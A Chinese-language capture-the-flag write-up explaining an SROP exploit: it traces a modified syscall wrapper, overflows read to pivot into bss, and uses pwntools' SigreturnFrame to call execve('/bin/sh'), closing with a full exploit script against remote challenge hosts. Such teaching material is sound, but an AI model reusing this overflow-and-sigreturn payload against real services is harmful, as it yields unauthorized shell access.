0x01 前言:

Srop 初体验,总体上是要利用到pwntools集成的对于srop攻击的工具。

0x02 分析:

先来 checksec:

0x03 Syscall你变了,你变得……

上 ida 看看:是两个系统调用,但是参数非常奇怪,通常来说 rax 是装载系统调用号的,但是这两个调用里面 rax 都是 0,注意到在第一次 syscall 的时候,第二个参数在 rdx 上,给我的感觉就是传参的寄存器总体往后一了一位。先 gdb 看看怎么回事:
步入了 syscall 函数里,一目了然了,主要动了手脚在这里 跟我们猜的一模一样,rdi 的值赋给 rax,rsi 的值赋给 rdi,也就是传参的寄存器总体后移了一位。接下来回到 main 函数,简单看看它做了什么:
大概翻译了一下是这样两行函数,read 函数有溢出点,一般来说这样的题可能可以打 ret2csu,但是会在构造某个寄存器的值上会十分麻烦,所以这里着重介绍一下 srop,在程序中翻了翻可以找到:

0x04 调用号0xf是什么?

看到这样一句,找了一下对应的系统调用:
 打 srop 的原理比较复杂,具体原理可以看SROP

0x05 SigreturnFrame()赐予我力量!

但是好在 pwntools 中已经集成了对于 srop 的攻击,我们只要知道怎么使用就好了:

sigframe=SigreturnFrame()
sigframe.rdi =
sigframe.rsi =
sigframe.rdx =
sigframe.rsp =
sigframe.rip =

这样子写好之后,只要填入对应的值,对应的寄存器则会被赋值成对应的值,如:

sigframe=SigreturnFrame()
sigframe.rdi = 0x3b
sigframe.rsi = bss-0x30
sigframe.rdx = 0
sigframe.rsp = bss+0x38
sigframe.rip = syscall

那么何时生效呢? 当然是触发了 execve(0xf) 之后紧跟 sigframe,一般情况下,我们的payload 可以这样构造:

sigframe=SigreturnFrame()
sigframe.rdi = 0x3b
sigframe.rsi = bss-0x30
sigframe.rdx = 0
sigframe.rsp = bss+0x38
sigframe.rip = syscall

payload=b'a'*padding+flat(pop_rax,0xf,syscall,sigframe)

padding 表示正常溢出到 ret 处 , pop_rax,0xf,syscall 则是为了触发 rt_sigreturn 系统调用,随后跟上 pwntools 集成的工具即可。回想一下程序中经过魔改的 syscall, 实际上我们想通过这个工具让程序执行 execve(/bin/sh\x00,0,0), 也就是:

sigframe=SigreturnFrame()
sigframe.rdi = 0x3b
sigframe.rsi = "/bin/sh\x00"
sigframe.rdx = 0
sigframe.r10 = 0
sigframe.rsp = 恢复rsp
sigframe.rip = syscall

上面只是做个模板,实际上并不能这样写,因为他的逻辑是把地址赋值给各个寄存器的,所以我们还得想办法找个地方写 /bin/sh\x00

0x06 狠狠写入/bin/sh\x00

先 gdb 看看哪里有权限:
可以看到 0x404000 这段有读写权限,应该是 bss 段,回 ida 看看:
那么我们可以往 bss 段上写,直接用程序现成的 read 函数就好:
可以看到 read 写入的地址是 rbp-0x30,在第一次溢出时把 rbp 覆盖为 bss 段上的地址之后回到这里就可以再执行一次 read,并且是往 bss 段上写入数据,简单构造一下第一段 payload:

bss=0x0000000000404070+0x130
leave_read=0x0000000000401171

payload=b'a'*(0x30)+p64(bss)+p64(leave_read)
sa('welcome to srop!\n',payload)

由于 0x04040000x0405000 之间都是可读可写的,所以随便选一段即可,注意不要覆盖掉程序中原有的数据:
然后就是第二次 read 了,这次我们不需要用到 ebp 了,所以直接覆盖到 ret,然后就是前面说的先触发 0xf 的系统调用,接着使用 pwntools 集成的工具来触发 execve(/bin/sh\x00,0,0) 即可:

syscall=elf.plt['syscall']
pop_rdi=0x0000000000401203

sigframe=SigreturnFrame()
sigframe.rdi = 0x3b
sigframe.rsi = bss-0x30
sigframe.rdx = 0
sigframe.r10 = 0
sigframe.rsp = bss+0x38
sigframe.rip = syscall

payload1=b'/bin/sh\x00'+b'a'*0x30+flat(pop_rdi,0xf,syscall,sigframe)
sleep(0.1)

s(payload1)

这里必须要加个 sleep 来中断一下发送,不然我也不知道为什么程序会莫名其妙卡住进行不下去,因为这个工具会对其余没有指定的寄存器置 0,所以要注意恢复一下 rsp 和 rip 以保持程序能够正常运行。因为这里我们要在寄存器赋值好了之后执行 syscall,所以令 rip 指向了 syscall,到此我们的 payload 就构造完了.

0x06 Shell!给我Shell

完整 exp:

from pwn import *
from ctypes import *
from struct import pack

context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf=ELF('/mnt/c/Users/Z2023/Desktop/pwn_1')
# libc=ELF('/mnt/c/Users/Z2023/Desktop/libc.so.6')
# libc=cdll.LoadLibrary('/home/liiinkle/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

choice = 1 #打远程时改成1
if choice:
port=28030
buu='node5.buuoj.cn'
nss='node4.anna.nssctf.cn'
polar='1.95.36.136'
utctf='challenge.utctf.live'
p = remote(buu,port) #打远程时修改ip和端口
else:
p = process('/mnt/c/Users/Z2023/Desktop/pwn_1')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

debug()

bss=0x0000000000404070+0x130
leave_read=0x0000000000401171
syscall=elf.plt['syscall']
pop_rdi=0x0000000000401203

payload=b'a'*(0x30)+p64(bss)+p64(leave_read)
sa('welcome to srop!\n',payload)

sigframe=SigreturnFrame()
sigframe.rdi = 0x3b
sigframe.rsi = bss-0x30
sigframe.rdx = 0
sigframe.r10 = 0
sigframe.rsp = bss+0x38
sigframe.rip = syscall

payload1=b'/bin/sh\x00'+b'a'*0x30+flat(pop_rdi,0xf,syscall,sigframe)
sleep(0.1)
s(payload1)

itr()